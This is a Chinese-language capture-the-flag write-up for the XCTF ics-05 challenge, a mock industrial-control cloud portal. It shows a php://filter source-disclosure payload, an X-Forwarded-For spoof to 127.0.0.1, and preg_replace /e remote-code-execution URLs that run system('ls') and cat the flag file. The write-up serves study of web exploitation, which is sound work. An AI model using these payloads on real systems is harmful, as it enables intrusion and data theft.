渗透测试|[XCTF 4th-CyberEarth]ics-05

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
打开题目,是一个工控云管理系统,随意点击旁边的菜单,发现只有设备维护中心可以正常进入
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


无意间点击左上角‘云平台设备维护中心’之后,发现页面进行跳转,page=index
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


将URL内的index改为任何字符,页面都会进行回显
【渗透测试|[XCTF 4th-CyberEarth]ics-05】渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


在index后添加一个.php,页面回显ok,说明index.php存在,可以尝试读取一下
这里需要用到php://filter协议读内容
php://filter/read=convert.base64-encode/resource=index.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,也可以进行任意文件的读取,具有resource(要过滤的数据流)、read(读链筛选的数据流)、write(写链筛选的数据流)等等参数。在知道使用php://filter/read之后,为什么read后会跟一些奇怪的参数,include一个文件中有php代码会进行php解析,如果是明文传输,则会直接返回。用了过滤器,如果是php文件就不会解析,就可以拿到php文件的源码了,虽然是以base64回显在页面,但是只要通过base64解码即可
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


base64解码,解码快捷网址→→https://base64.us/
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片

进行php代码审计
Welcome My Admin !
"; //输出Welcome My Admin ! $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) {//非空且为字符串 preg_replace($pattern, $replacement, $subject); //存在preg_replace漏洞 }else{ die(); }}


查了一下preg_replace函数,有一个很严重的漏洞存在。举个例子:preg_replace("/txt/e",$_GET["ganyu"],"txt"); /e会将ganyu当做php代码运行
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片

preg_replace语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

开启burp,刷新将内容抓包重放
先将X-Forwarded-For设为127.0.0.1
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


在txt后使用/e修饰符,preg_replace会将 mixed $replacement 参数(system("ls"))当作 PHP 代码执行
?pat=/txt/e&rep=system("ls")&sub=txt

渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


回显内容,盲猜flag在s3chahahaDir内
渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


访问s3chahahaDir
?pat=/txt/e&rep=system("ls+s3chahahaDir")&sub=txt

渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


查看flag
?pat=/txt/e&rep=system("ls+s3chahahaDir/flag")&sub=txt

渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片


提示内容在flag.php下
?pat=/txt/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=txt

渗透测试|[XCTF 4th-CyberEarth]ics-05
文章图片

    推荐阅读